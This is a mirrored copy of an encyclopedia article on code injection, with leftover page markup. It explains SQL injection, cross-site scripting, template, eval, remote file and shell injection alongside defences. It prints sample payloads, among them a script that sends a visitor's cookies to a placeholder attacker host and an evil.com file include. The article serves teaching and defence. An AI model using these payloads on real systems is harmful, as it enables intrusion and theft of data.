SherbyNet - /page/wikibook/entry.mu

Micron Document

<!DOCTYPE html>

<title>Code injection</title>

</head>

Code injection

</h1>

</header>

/* start https://en.wikipedia.org/ */

.mw-parser-output .hatnote{font-style:italic}.mw-parser-output div.hatnote{padding-left:1.6em;margin-bottom:0.5em}.mw-parser-output .hatnote i{font-style:normal}.mw-parser-output .hatnote+link+.hatnote{margin-top:-0.5em}@media print{body.ns-0 .mw-parser-output .hatnote{display:none!important}}

/* end https://en.wikipedia.org/ */

</style><div role="note" class="hatnote navigation-not-searchable">Not to be confused with <a href="Dependency_injection" title="Dependency injection">Dependency injection</a> or <a href="Arbitrary_code_execution" title="Arbitrary code execution">Arbitrary code execution</a>.</div>

Code injection is a <a href="Computer_security_exploit" class="mw-redirect" title="Computer security exploit">computer security exploit</a> where a <a href="Computer_program" title="Computer program">program</a> fails to correctly process external data, such as user input, causing it to interpret the data as executable commands. An <a href="Hacker_(computer_security)" class="mw-redirect" title="Hacker (computer security)">attacker</a> using this method "injects" <a href="Source_code" title="Source code">code</a> into the program while it is running. Successful exploitation of a code injection vulnerability can result in <a href="Data_breaches" class="mw-redirect" title="Data breaches">data breaches</a>, access to restricted or critical <a href="Computer_systems" class="mw-redirect" title="Computer systems">computer systems</a>, and the spread of <a href="Malware" title="Malware">malware</a>.

Code injection <a href="Vulnerability_(computer_security)" title="Vulnerability (computer security)">vulnerabilities</a> occur when an application sends untrusted data to an <a href="Interpreter_(computing)" title="Interpreter (computing)">interpreter</a>, which then executes the injected text as code. Injection flaws are often found in services like Structured Query Language (<a href="SQL" title="SQL">SQL</a>) databases, Extensible Markup Language (<a href="XML" title="XML">XML</a>) parsers, <a href="Operating_system" title="Operating system">operating system</a> commands, Simple Mail Transfer Protocol (<a href="SMTP" class="mw-redirect" title="SMTP">SMTP</a>) headers, and other program <a href="Argument_(programming)" class="mw-redirect" title="Argument (programming)">arguments</a>. Injection flaws can be identified through <a href="Source_code" title="Source code">source code</a> examination,<a href="#cite_note-1">[1]</a> <a href="Static_analysis_tool" class="mw-redirect" title="Static analysis tool">Static analysis</a>, or dynamic testing methods such as <a href="Fuzzer" class="mw-redirect" title="Fuzzer">fuzzing</a>.<a href="#cite_note-OWASP10_A1-2">[2]</a>

There are numerous types of code injection vulnerabilities, but most are errors in interpretation—they treat benign user input as code or fail to distinguish input from system commands. Many examples of interpretation errors can exist outside of computer science, such as the comedy routine "<a href="Who's_on_First%3F" title="Who's on First?">Who's on First?</a>". Code injection can be used maliciously for many purposes, including:

<ul><li>Arbitrarily modifying values in a <a href="Database" title="Database">database</a> through <a href="SQL_injection" title="SQL injection">SQL injection</a>; the impact of this can range from <a href="Website_defacement" title="Website defacement">website defacement</a> to serious compromise of <a href="Sensitive_data" class="mw-redirect" title="Sensitive data">sensitive data</a>. For more information, see <a href="Arbitrary_code_execution" title="Arbitrary code execution">Arbitrary code execution</a>.</li>

<li>Installing <a href="Malware" title="Malware">malware</a> or executing malevolent code on a server by injecting server scripting code (such as <a href="PHP" title="PHP">PHP</a>).</li>

<li><a href="Privilege_escalation" title="Privilege escalation">Privilege escalation</a> to either <a href="Superuser" title="Superuser">superuser</a> permissions on <a href="UNIX" class="mw-redirect" title="UNIX">UNIX</a> by exploiting shell injection vulnerabilities in a binary file or to <a href="Superuser" title="Superuser">Local System</a> privileges on <a href="Microsoft_Windows" title="Microsoft Windows">Microsoft Windows</a> by exploiting a service within Windows.</li>

<li>Attacking web users with Hyper Text Markup Language (<a href="HTML" title="HTML">HTML</a>) or Cross-Site Scripting (<a href="Cross-site_scripting" title="Cross-site scripting">XSS</a>) injection.</li></ul>

Code injections that target the <a href="Internet_of_Things" class="mw-redirect" title="Internet of Things">Internet of Things</a> could also lead to severe consequences such as <a href="Data_breaches" class="mw-redirect" title="Data breaches">data breaches</a> and service disruption.<a href="#cite_note-3">[3]</a>

Code injections can occur on any type of program running with an <a href="Interpreter_(computing)" title="Interpreter (computing)">interpreter</a>. Doing this is trivial to most, and one of the primary reasons why server software is kept away from users. An example of how you can see code injection first-hand is to use your <a rel="nofollow" class="external text" href="https://developer.mozilla.org/en-US/docs/Learn/Common_questions/Tools_and_setup/What_are_browser_developer_tools">browser's developer tools</a>.

Code injection vulnerabilities are recorded by the National Institute of Standards and Technology <a href="National_Institute_of_Standards_and_Technology" title="National Institute of Standards and Technology">(NIST</a>) in the National Vulnerability Database (<a href="National_Vulnerability_Database" title="National Vulnerability Database">NVD</a>) as <a href="Common_Weakness_Enumeration" title="Common Weakness Enumeration">CWE-94</a>. Code injection peaked in 2008 at 5.66% as a percentage of all recorded vulnerabilities.<a href="#cite_note-4">[4]</a>

<div class="mw-heading mw-heading2"><h2 id="Benign_and_unintentional_use">Benign and unintentional use</h2></div>

Code injection may be done with good intentions. For example, changing or tweaking the behavior of a program or system through code injection can cause the system to behave in a certain way without malicious intent.<a href="#cite_note-5">[5]</a><a href="#cite_note-6">[6]</a> Code injection could, for example:

<ul><li>Introduce a useful new column that did not appear in the original design of a search results page.</li>

<li>Offer a new way to filter, order, or group data by using a field not exposed in the default functions of the original design.</li>

<li>Add functionality like connecting to online resources in an offline program.</li>

<li>Override a function, making calls redirect to another implementation. This can be done with the <a href="Dynamic_linker" title="Dynamic linker">Dynamic linker</a> in <a href="Linux" title="Linux">Linux</a>.<a href="#cite_note-7">[7]</a></li></ul>

Some users may unsuspectingly perform code injection because the input they provided to a program was not considered by those who originally developed the system. For example:

<ul><li>What the user may consider as valid input may contain token characters or strings that have been <a href="Reserved_word" title="Reserved word">reserved</a> by the developer to have special meaning (such as the <a href="Ampersand" title="Ampersand">ampersand</a> or quotation marks).</li>

<li>The user may submit a malformed file as input that is handled properly in one application but is toxic to the receiving system.</li></ul>

Another benign use of code injection is the discovery of injection flaws to find and fix vulnerabilities. This is known as a <a href="Penetration_test" title="Penetration test">penetration test</a>.

<div class="mw-heading mw-heading2"><h2 id="Preventing_Code_Injection">Preventing Code Injection</h2></div>

To prevent code injection problems, the person could use secure input and output handling strategies, such as:

<ul><li>Using an <a href="Application_programming_interface" class="mw-redirect" title="Application programming interface">application programming interface</a> (<a href="API" title="API">API</a>) that, if used properly, is secure against all input characters. Parameterized queries allow the moving of user data out of a string to be interpreted. Additionally, Criteria API<a href="#cite_note-8">[8]</a> and similar APIs move away from the concept of command strings to be created and interpreted.</li>

<li>Enforcing language separation via a <a href="Type_system" title="Type system">static type system</a>.<a href="#cite_note-types-9">[9]</a></li>

<li>Validating or "sanitizing" input, such as <a href="Whitelisting" class="mw-redirect" title="Whitelisting">whitelisting</a> known good values. This can be done on the client side, which is prone to modification by malicious users, or on the server side, which is more secure.</li>

<li>Encoding input or escaping dangerous characters. For instance, in PHP, using the <code>htmlspecialchars()</code> function to escape special characters for safe output of text in HTML and the <code>mysqli::real_escape_string()</code> function to isolate data which will be included in an <a href="SQL" title="SQL">SQL</a> request can protect against SQL injection.</li>

<li>Encoding output, which can be used to prevent <a href="Cross-site_scripting" title="Cross-site scripting">XSS</a> attacks against website visitors.</li>

<li>Using the <code>HttpOnly</code> flag for <a href="HTTP_cookie" title="HTTP cookie">HTTP cookies</a>. When this flag is set, it does not allow client-side script interaction with cookies, thereby preventing certain <a href="Cross-site_scripting" title="Cross-site scripting">XSS</a> attacks.<a href="#cite_note-10">[10]</a></li>

<li>Modular shell disassociation from the <a href="Kernel_(operating_system)" title="Kernel (operating system)">kernel</a>.</li>

<li>Regarding <a href="SQL_injection" title="SQL injection">SQL injection</a>, one can use <a href="Parameterized_query" class="mw-redirect" title="Parameterized query">parameterized queries</a>, <a href="Stored_procedure" title="Stored procedure">stored procedures</a>, whitelist input validation, and other approaches to help mitigate the risk of an attack.<a href="#cite_note-11">[11]</a> Using <a href="Object-relational_mapping" class="mw-redirect" title="Object-relational mapping">object-relational mapping</a> can further help prevent users from directly manipulating <a href="SQL_queries" class="mw-redirect" title="SQL queries">SQL queries</a>.</li></ul>

The solutions described above deal primarily with web-based injection of HTML or script code into a server-side application. Other approaches must be taken, however, when dealing with injections of user code on a user-operated machine, which often results in privilege elevation attacks. Some approaches that are used to detect and isolate managed and unmanaged code injections are:

<ul><li>Runtime image <a href="Hash_function" title="Hash function">hash</a> validation, which involves capturing the hash of a partial or complete image of the executable loaded into memory and comparing it with stored and expected hashes.</li>

<li><a href="NX_bit" title="NX bit">NX bit</a>: all user data is stored in special memory sections that are marked as non-executable. The processor is made aware that no code exists in that part of memory and refuses to execute anything found in there.</li>

<li>Use <a href="Buffer_overflow_protection#Canaries" title="Buffer overflow protection">canaries</a>, which are randomly placed values in a stack. At runtime, a canary is checked when a function returns. If a canary has been modified, the program stops execution and exits. This occurs on a failed <a href="Stack_buffer_overflow" title="Stack buffer overflow">Stack Overflow Attack</a>.</li>

<li>Code Pointer Masking (CPM): after loading a (potentially changed) code pointer into a register, the user can apply a <a href="Mask_(computing)" title="Mask (computing)">bitmask</a> to the pointer. This effectively restricts the addresses to which the pointer can refer. This is used in the <a href="C_(programming_language)" title="C (programming language)">C</a> programming language.<a href="#cite_note-12">[12]</a></li></ul>

<div class="mw-heading mw-heading2"><h2 id="Examples">Examples</h2></div>

<div class="mw-heading mw-heading3"><h3 id="SQL_injection">SQL injection</h3></div>

<div role="note" class="hatnote navigation-not-searchable">Main article: <a href="SQL_injection" title="SQL injection">SQL injection</a></div>

An <a href="SQL_injection" title="SQL injection">SQL injection</a> takes advantage of <a href="SQL_syntax" title="SQL syntax">SQL syntax</a> to inject malicious commands that can read or modify a database or compromise the meaning of the original query.<a href="#cite_note-13">[13]</a>

For example, consider a web page that has two <a href="Text_fields" class="mw-redirect" title="Text fields">text fields</a> which allow users to enter a username and a password. The code behind the page will generate an <a href="SQL_query" class="mw-redirect" title="SQL query">SQL query</a> to check the password against the list of user names:

<div class="mw-highlight mw-highlight-lang-sql mw-content-ltr" dir="ltr"><pre>SELECT UserList.Username

FROM UserList

WHERE UserList.Username = 'Username'

</pre></div>

If this query returns any rows, then access is granted. However, if the malicious user enters a valid Username and injects some valid code "<code>('Password' OR '1'='1')</code> in the Password field, then the resulting query will look like this:

FROM UserList

AND UserList.Password = 'Password' OR '1'='1'

</pre></div>

In the example above, "Password" is assumed to be blank or some innocuous string. "<code>'1'='1'</code>" will always be true and many rows will be returned, thereby allowing access.

The technique may be refined to allow multiple statements to run or even to load up and run external programs.

Assume a query with the following format:<div class="mw-highlight mw-highlight-lang-sql mw-content-ltr" dir="ltr"><pre>SELECT User.UserID

FROM User

AND User.Pwd = ' " + Password + " '

</pre></div>If an adversary has the following for inputs:

<code>UserID: ';DROP TABLE User; --'</code>

<code>Password: 'OR"='</code>

then the query will be parsed as:<div class="mw-highlight mw-highlight-lang-sql mw-content-ltr" dir="ltr"><pre>SELECT User.UserID

FROM User

WHERE User.UserID = '';DROP TABLE User; --'AND Pwd = ''OR"='

</pre></div>

The resulting <code>User</code> table will be removed from the database. This occurs because the <code>;</code> symbol signifies the end of one command and the start of a new one. <code>--</code> signifies the start of a comment.

<div class="mw-heading mw-heading3"><h3 id="Cross-site_scripting">Cross-site scripting</h3></div>

<div role="note" class="hatnote navigation-not-searchable">Main article: <a href="Cross-site_scripting" title="Cross-site scripting">Cross-site scripting</a></div>

Code injection is the malicious injection or introduction of code into an application. Some <a href="Web_server" title="Web server">web servers</a> have a <a href="Guestbook" title="Guestbook">guestbook</a> script, which accepts small messages from users and typically receives messages such as:

<pre>Very nice site!

</pre>

However, a malicious person may know of a code injection vulnerability in the guestbook and enter a message such as:

<div class="mw-highlight mw-highlight-lang-html mw-content-ltr" dir="ltr"><pre>Nice site, I think I'll take it. <script>window.location="https://some_attacker/evilcgi/cookie.cgi?steal=" + escape(document.cookie)</script>

</pre></div>

If another user views the page, then the injected code will be executed. This code can allow the attacker to impersonate another user. However, this same software bug can be accidentally triggered by an unassuming user, which will cause the website to display bad HTML code.

HTML and script injection are popular subjects, commonly termed "<a href="Cross-site_scripting" title="Cross-site scripting">cross-site scripting</a>" or "XSS". XSS refers to an injection flaw whereby user input to a web script or something along such lines is placed into the output HTML without being checked for HTML code or scripting.

Many of these problems are related to erroneous assumptions of what input data is possible or the effects of special data.<a href="#cite_note-HopeWalther-14">[14]</a>

<div class="mw-heading mw-heading3"><h3 id="Server_Side_Template_Injection">Server Side Template Injection</h3></div>

<a href="Web_template_system" title="Web template system">Template engines</a> are often used in modern <a href="Web_application" title="Web application">web applications</a> to display dynamic data. However, trusting non-validated user data can frequently lead to critical vulnerabilities<a href="#cite_note-15">[15]</a> such as server-side Side Template Injections. While this vulnerability is similar to <a href="Cross-site_scripting" title="Cross-site scripting">cross-site scripting</a>, template injection can be leveraged to execute code on the web server rather than in a visitor's browser. It abuses a common workflow of web applications, which often use user inputs and templates to render a web page. The example below shows the concept. Here the template <code>{{visitor_name}}</code> is replaced with data during the rendering process.<div class="mw-highlight mw-highlight-lang-html mw-content-ltr" dir="ltr"><pre>Hello {{visitor_name}}

</pre></div>An attacker can use this workflow to inject code into the rendering pipeline by providing a malicious <code>visitor_name</code>. Depending on the implementation of the web application, he could choose to inject <code>{{7*'7'}}</code> which the renderer could resolve to <code>Hello 7777777</code>. Note that the actual web server has evaluated the malicious code and therefore could be vulnerable to <a href="Remote_code_execution" class="mw-redirect" title="Remote code execution">remote code execution</a>.

<div class="mw-heading mw-heading3"><h3 id="Dynamic_evaluation_vulnerabilities">Dynamic evaluation vulnerabilities</h3></div>

An <code class="mw-highlight mw-highlight-lang-php mw-content-ltr" dir="ltr">eval()</code> injection vulnerability occurs when an attacker can control all or part of an input string that is fed into an <code class="mw-highlight mw-highlight-lang-php mw-content-ltr" dir="ltr">eval()</code> <a href="Function_call" class="mw-redirect" title="Function call">function call</a>.<a href="#cite_note-16">[16]</a>

<div class="mw-highlight mw-highlight-lang-php mw-content-ltr" dir="ltr"><pre>$myvar = 'somevalue';

$x = $_GET['arg'];

eval('$myvar = ' . $x . ';');

</pre></div>

The argument of "<code><a href="Eval" title="Eval">eval</a></code>" will be processed as <a href="PHP" title="PHP">PHP</a>, so additional commands can be appended. For example, if "arg" is set to "<code class="mw-highlight mw-highlight-lang-php mw-content-ltr" dir="ltr">10; system('/bin/echo uh-oh')</code>", additional code is run which executes a program on the server, in this case "<code>/bin/echo</code>".

<div class="mw-heading mw-heading3"><h3 id="Object_injection">Object injection</h3></div>

PHP allows <a href="Serialization" title="Serialization">serialization</a> and <a href="Deserialization" class="mw-redirect" title="Deserialization">deserialization</a> of whole <a href="Object_(computer_science)" title="Object (computer science)">objects</a>. If an untrusted input is allowed into the deserialization function, it is possible to overwrite existing classes in the program and execute malicious attacks.<a href="#cite_note-17">[17]</a> Such an attack on <a href="Joomla" title="Joomla">Joomla</a> was found in 2013.<a href="#cite_note-18">[18]</a>

<div class="mw-heading mw-heading3"><h3 id="Remote_file_injection">Remote file injection</h3></div>

<div role="note" class="hatnote navigation-not-searchable">Main article: <a href="File_inclusion_vulnerability" title="File inclusion vulnerability">File inclusion vulnerability</a></div>

Consider this <a href="PHP" title="PHP">PHP</a> program (which includes a file specified by request):

<div class="mw-highlight mw-highlight-lang-php mw-content-ltr" dir="ltr"><pre><?php

$color = 'blue';

if (isset($_GET['color']))

$color = $_GET['color'];

require($color . '.php');

</pre></div>

The example expects a color to be provided, while attackers might provide <code>COLOR=http://evil.com/exploit</code> causing PHP to load the remote file.

<div class="mw-heading mw-heading3"><h3 id="Format_specifier_injection">Format specifier injection</h3></div>

<div role="note" class="hatnote navigation-not-searchable">Main article: <a href="Uncontrolled_format_string" title="Uncontrolled format string">Uncontrolled format string</a></div>Format string bugs appear most commonly when a programmer wishes to print a string containing user-supplied data. The programmer may mistakenly write <code>printf(buffer)</code> instead of <code>printf("%s", buffer)</code>. The first version interprets <code>buffer</code> as a format string and parses any formatting instructions it may contain. The second version simply prints a string to the screen, as the programmer intended. Consider the following short <a href="C_(programming_language)" title="C (programming language)">C</a> program that has a local variable char <a href="Array_(data_structure)" title="Array (data structure)">array</a> <code>password</code> which holds a password; the program asks the user for an integer and a string, then echoes out the user-provided string.<div class="mw-highlight mw-highlight-lang-c mw-content-ltr" dir="ltr"><pre> char user_input[100];

int int_in;

char password[10] = "Password1";

printf("Enter an integer\n");

scanf("%d", &int_in);

printf("Please enter a string\n");

fgets(user_input, sizeof(user_input), stdin);

printf(user_input); // Safe version is: printf("%s", user_input);

printf("\n");

return 0;

</pre></div>If the user input is filled with a list of format specifiers, such as <code>%s%s%s%s%s%s%s%s</code>, then <code>printf()</code>will start reading from the <a href="Stack_(abstract_data_type)" title="Stack (abstract data type)">stack</a>. Eventually, one of the <code>%s</code> format specifiers will access the address of <code>password</code>, which is on the stack, and print <code>Password1</code> to the screen.

<div class="mw-heading mw-heading3"><h3 id="Shell_injection">Shell injection</h3></div>

Shell injection (or command injection<a href="#cite_note-19">[19]</a>) is named after <a href="UNIX_shell_script" class="mw-redirect" title="UNIX shell script">UNIX</a> shells but applies to most systems that allow software to programmatically execute a <a href="Command_line" class="mw-redirect" title="Command line">command line</a>. Here is an example vulnerable <a href="Tcsh" title="Tcsh">tcsh</a> script:

<div class="mw-highlight mw-highlight-lang-tcsh mw-content-ltr" dir="ltr"><pre>!/bin/tcshcheck arg outputs it matches if arg is one

if ($1 == 1) echo it matches

</pre></div>

If the above is stored in the executable file <code>./check</code>, the shell command <code>./check " 1 ) evil"</code> will attempt to execute the injected shell command <code>evil</code> instead of comparing the argument with the constant one. Here, the code under attack is the code that is trying to check the parameter, the very code that might have been trying to validate the parameter to defend against an attack.<a href="#cite_note-20">[20]</a>

Any function that can be used to compose and run a shell command is a potential vehicle for launching a shell injection attack. Among these are <a rel="nofollow" class="external text" href="http://linux.die.net/man/3/system"><code>system()</code></a>, <a rel="nofollow" class="external text" href="https://pkg.go.dev/os#StartProcess"><code>StartProcess()</code></a>, and <a rel="nofollow" class="external text" href="http://msdn.microsoft.com/en-us/library/92699yzt.aspx"><code>System.Diagnostics.Process.Start()</code></a>.

<a href="Client%E2%80%93server_model" title="Client–server model">Client-server</a> systems such as <a href="Web_browser" title="Web browser">web browser</a> interaction with <a href="Web_server" title="Web server">web servers</a> are potentially vulnerable to shell injection. Consider the following short PHP program that can run on a web server to run an external program called <code>funnytext</code> to replace a word the user sent with some other word.

<div class="mw-highlight mw-highlight-lang-php mw-content-ltr" dir="ltr"><pre><?php

passthru("/bin/funnytext " . $_GET['USER_INPUT']);

</pre></div>

The <code>passthru</code> function in the above program composes a shell command that is then executed by the web server. Since part of the command it composes is taken from the <a href="URL_redirection" title="URL redirection">URL</a> provided by the web browser, this allows the <a href="URL" title="URL">URL</a> to inject malicious shell commands. One can inject code into this program in several ways by exploiting the syntax of various shell features (this list is not exhaustive):<a href="#cite_note-21">[21]</a>

<th>Shell feature

</th>

<th><code>USER_INPUT</code> value

</th>

<th>Resulting shell command

</th>

<th>Explanation

</th></tr>

<tr>

<td>Sequential execution

</td>

<td><code>; malicious_command</code>

</td>

<td><code>/bin/funnytext ; malicious_command</code>

</td>

<td>Executes <code>funnytext</code>, then executes <code>malicious_command</code>.

</td></tr>

<tr>

<td><a href="Pipeline_(Unix)" title="Pipeline (Unix)">Pipelines</a>

</td>

<td><code>| malicious_command</code>

</td>

<td><code>/bin/funnytext | malicious_command</code>

</td>

<td>Sends the output of <code>funnytext</code> as input to <code>malicious_command</code>.

</td></tr>

<tr>

<td>Command substitution

</td>

<td><code>`malicious_command`</code>

</td>

<td><code>/bin/funnytext `malicious_command`</code>

</td>

<td>Sends the output of <code>malicious_command</code> as arguments to <code>funnytext</code>.

</td></tr>

<tr>

<td>Command substitution

</td>

<td><code>$(malicious_command)</code>

</td>

<td><code>/bin/funnytext $(malicious_command)</code>

</td>

<td>Sends the output of <code>malicious_command</code> as arguments to <code>funnytext</code>.

</td></tr>

<tr>

<td>AND list

</td>

<td><code>&& malicious_command</code>

</td>

<td><code>/bin/funnytext && malicious_command</code>

</td>

<td>Executes <code>malicious_command</code> <a href="Iff" class="mw-redirect" title="Iff">iff</a> <code>funnytext</code> returns an exit status of 0 (success).

</td></tr>

<tr>

<td>OR list

</td>

<td><code>|| malicious_command</code>

</td>

<td><code>/bin/funnytext || malicious_command</code>

</td>

<td>Executes <code>malicious_command</code> <a href="Iff" class="mw-redirect" title="Iff">iff</a> <code>funnytext</code> returns a nonzero exit status (error).

</td></tr>

<tr>

<td>Output redirection

</td>

<td><code>> ~/.bashrc</code>

</td>

<td><code>/bin/funnytext > ~/.bashrc</code>

</td>

<td>Overwrites the contents the <code>.bashrc</code> file with the output of <code>funnytext</code>.

</td></tr>

<tr>

<td>Input redirection

</td>

</td>

<td><code>/bin/funnytext < ~/.bashrc</code>

</td>

<td>Sends the contents of the <code>.bashrc</code> file as input to <code>funnytext</code>.

</td></tr></tbody></table>

Some languages offer functions to properly escape or quote strings that are used to construct shell commands:

<ul><li><a href="PHP" title="PHP">PHP</a>: <code><a rel="nofollow" class="external text" href="http://www.php.net/manual/en/function.escapeshellarg.php">escapeshellarg()</a></code> and <code><a rel="nofollow" class="external text" href="http://www.php.net/manual/en/function.escapeshellcmd.php">escapeshellcmd()</a></code></li>

<li><a href="Python_(programming_language)" title="Python (programming language)">Python</a>: <code><a rel="nofollow" class="external text" href="https://docs.python.org/3/library/shlex.html#shlex.quote">shlex.quote()</a></code></li></ul>

However, this still puts the burden on programmers to know/learn about these functions and to remember to make use of them every time they use shell commands. In addition to using these functions, validating or sanitizing the user input is also recommended.

A safer alternative is to use <a href="API" title="API">APIs</a> that execute external programs directly rather than through a shell, thus preventing the possibility of shell injection. However, these <a href="API" title="API">APIs</a> tend to not support various convenience features of shells and/or to be more cumbersome/verbose compared to concise shell syntax.

/* start https://en.wikipedia.org/ */

.mw-parser-output .div-col{margin-top:0.3em;column-width:30em}.mw-parser-output .div-col-small{font-size:90%}.mw-parser-output .div-col-rules{column-rule:1px solid #aaa}.mw-parser-output .div-col dl,.mw-parser-output .div-col ol,.mw-parser-output .div-col ul{margin-top:0}.mw-parser-output .div-col li,.mw-parser-output .div-col dd{page-break-inside:avoid;break-inside:avoid-column}

/* end https://en.wikipedia.org/ */

</style><div class="div-col" style="column-width: 30em;">

<ul><li><a href="Arbitrary_code_execution" title="Arbitrary code execution">Arbitrary code execution</a></li>

<li><a href="File_inclusion_vulnerability" title="File inclusion vulnerability">File inclusion vulnerability</a></li>

<li><a href="Gadget_(machine_instruction_sequence)" class="mw-redirect" title="Gadget (machine instruction sequence)">Gadget (machine instruction sequence)</a></li>

<li><a href="Prompt_injection" title="Prompt injection">Prompt injection</a></li>

<li><a href="Shellshock_(software_bug)" title="Shellshock (software bug)">Shellshock (software bug)</a></li>

<li><a href="SQL_injection" title="SQL injection">SQL injection</a></li>

<li><a href="Unintended_instructions" class="mw-redirect" title="Unintended instructions">Unintended instructions</a></li></ul></div>

<div class="mw-heading mw-heading2"><h2 id="References">References</h2></div>

/* start https://en.wikipedia.org/ */

.mw-parser-output .reflist{margin-bottom:0.5em;list-style-type:decimal}@media screen{.mw-parser-output .reflist{font-size:90%}}.mw-parser-output .reflist .references{font-size:100%;margin-bottom:0;list-style-type:inherit}.mw-parser-output .reflist-columns-2{column-width:30em}.mw-parser-output .reflist-columns-3{column-width:25em}.mw-parser-output .reflist-columns{margin-top:0.3em}.mw-parser-output .reflist-columns ol{margin-top:0}.mw-parser-output .reflist-columns li{page-break-inside:avoid;break-inside:avoid-column}.mw-parser-output .reflist-upper-alpha{list-style-type:upper-alpha}.mw-parser-output .reflist-upper-roman{list-style-type:upper-roman}.mw-parser-output .reflist-lower-alpha{list-style-type:lower-alpha}.mw-parser-output .reflist-lower-greek{list-style-type:lower-greek}.mw-parser-output .reflist-lower-roman{list-style-type:lower-roman}

/* end https://en.wikipedia.org/ */

</style><div class="reflist">

/* start https://en.wikipedia.org/ */

.mw-parser-output cite.citation{font-style:inherit;word-wrap:break-word}.mw-parser-output .citation q{quotes:"\"""\"""'""'"}.mw-parser-output .citation:target{background-color:rgba(0,127,255,0.133)}.mw-parser-output .id-lock-free.id-lock-free a{background:url("./mw/Lock-green.svg")right 0.1em center/9px no-repeat}.mw-parser-output .id-lock-limited.id-lock-limited a,.mw-parser-output .id-lock-registration.id-lock-registration a{background:url("./mw/Lock-gray-alt-2.svg")right 0.1em center/9px no-repeat}.mw-parser-output .id-lock-subscription.id-lock-subscription a{background:url("./mw/Lock-red-alt-2.svg")right 0.1em center/9px no-repeat}.mw-parser-output .cs1-ws-icon a{background:url("./mw/Wikisource-logo.svg")right 0.1em center/12px no-repeat}body:not(.skin-timeless):not(.skin-minerva) .mw-parser-output .id-lock-free a,body:not(.skin-timeless):not(.skin-minerva) .mw-parser-output .id-lock-limited a,body:not(.skin-timeless):not(.skin-minerva) .mw-parser-output .id-lock-registration a,body:not(.skin-timeless):not(.skin-minerva) .mw-parser-output .id-lock-subscription a,body:not(.skin-timeless):not(.skin-minerva) .mw-parser-output .cs1-ws-icon a{background-size:contain;padding:0 1em 0 0}.mw-parser-output .cs1-code{color:inherit;background:inherit;border:none;padding:inherit}.mw-parser-output .cs1-hidden-error{display:none;color:var(--color-error,#d33)}.mw-parser-output .cs1-visible-error{color:var(--color-error,#d33)}.mw-parser-output .cs1-maint{display:none;color:#085;margin-left:0.3em}.mw-parser-output .cs1-kern-left{padding-left:0.2em}.mw-parser-output .cs1-kern-right{padding-right:0.2em}.mw-parser-output .citation .mw-selflink{font-weight:inherit}@media screen{.mw-parser-output .cs1-format{font-size:95%}html.skin-theme-clientpref-night .mw-parser-output .cs1-maint{color:#18911f}}@media screen and (prefers-color-scheme:dark){html.skin-theme-clientpref-os .mw-parser-output .cs1-maint{color:#18911f}}

/* end https://en.wikipedia.org/ */

</style><cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://web.archive.org/web/20180224034000/http://www.upenn.edu/computing/security/swat/SWAT_Top_Ten_A6.php">"Top 10 Web Application Security Vulnerabilities"</a>. Penn Computing. University of Pennsylvania. Archived from <a rel="nofollow" class="external text" href="http://www.upenn.edu/computing/security/swat/SWAT_Top_Ten_A6.php">the original</a> on 24 February 2018. Retrieved 10 December 2016.</cite>

</li>

<li id="cite_note-OWASP10_A1-2"><a href="#cite_ref-OWASP10_A1_2-0">^</a> <cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://www.owasp.org/index.php/Top_10_2013-A1-Injection">"OWASP Top 10 2013 A1: Injection Flaws"</a>. OWASP. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20160128030657/https://www.owasp.org/index.php/Top_10_2013-A1-Injection">Archived</a> from the original on 28 January 2016. Retrieved 19 December 2013.</cite>

</li>

<li id="cite_note-3"><a href="#cite_ref-3">^</a> <cite id="CITEREFNomanAbu-Sharkh2023" class="citation journal cs1">Noman, Haitham Ameen; Abu-Sharkh, Osama M. F. (January 2023). <a rel="nofollow" class="external text" href="https://www.ncbi.nlm.nih.gov/pmc/articles/PMC10346793">"Code Injection Attacks in Wireless-Based Internet of Things (IoT): A Comprehensive Review and Practical Implementations"</a>. Sensors. 23 (13): 6067. <a href="Bibcode_(identifier)" class="mw-redirect" title="Bibcode (identifier)">Bibcode</a>:<a rel="nofollow" class="external text" href="https://ui.adsabs.harvard.edu/abs/2023Senso..23.6067N">2023Senso..23.6067N</a>. <a href="Doi_(identifier)" class="mw-redirect" title="Doi (identifier)">doi</a>:<a rel="nofollow" class="external text" href="https://doi.org/10.3390%2Fs23136067">10.3390/s23136067</a>. <a href="ISSN_(identifier)" class="mw-redirect" title="ISSN (identifier)">ISSN</a> <a rel="nofollow" class="external text" href="https://search.worldcat.org/issn/1424-8220">1424-8220</a>. <a href="PMC_(identifier)" class="mw-redirect" title="PMC (identifier)">PMC</a> <a rel="nofollow" class="external text" href="https://www.ncbi.nlm.nih.gov/pmc/articles/PMC10346793">10346793</a>. <a href="PMID_(identifier)" class="mw-redirect" title="PMID (identifier)">PMID</a> <a rel="nofollow" class="external text" href="https://pubmed.ncbi.nlm.nih.gov/37447915">37447915</a>.</cite>

</li>

<li id="cite_note-4"><a href="#cite_ref-4">^</a> <cite class="citation web cs1"><a rel="nofollow" class="external text" href="http://web.nvd.nist.gov/view/vuln/statistics">"NVD - Statistics Search"</a>. web.nvd.nist.gov. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20231215120148/https://web.nvd.nist.gov/view/vuln/statistics">Archived</a> from the original on 15 December 2023. Retrieved 9 December 2016.</cite>

</li>

<li id="cite_note-5"><a href="#cite_ref-5">^</a> <cite id="CITEREFSrinivasan" class="citation web cs1">Srinivasan, Raghunathan. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20100729023112/http://www.public.asu.edu/~rsriniv8/Documents/srini-das.pdf">"Towards More Effective Virus Detectors"</a> (PDF). Arizona State University. Archived from <a rel="nofollow" class="external text" href="http://www.public.asu.edu/~rsriniv8/Documents/srini-das.pdf">the original</a> (PDF) on 29 July 2010. Retrieved 18 September 2010. <q>Benevolent use of code injection occurs when a user changes the behaviour of a program to meet system requirements.</q></cite>

</li>

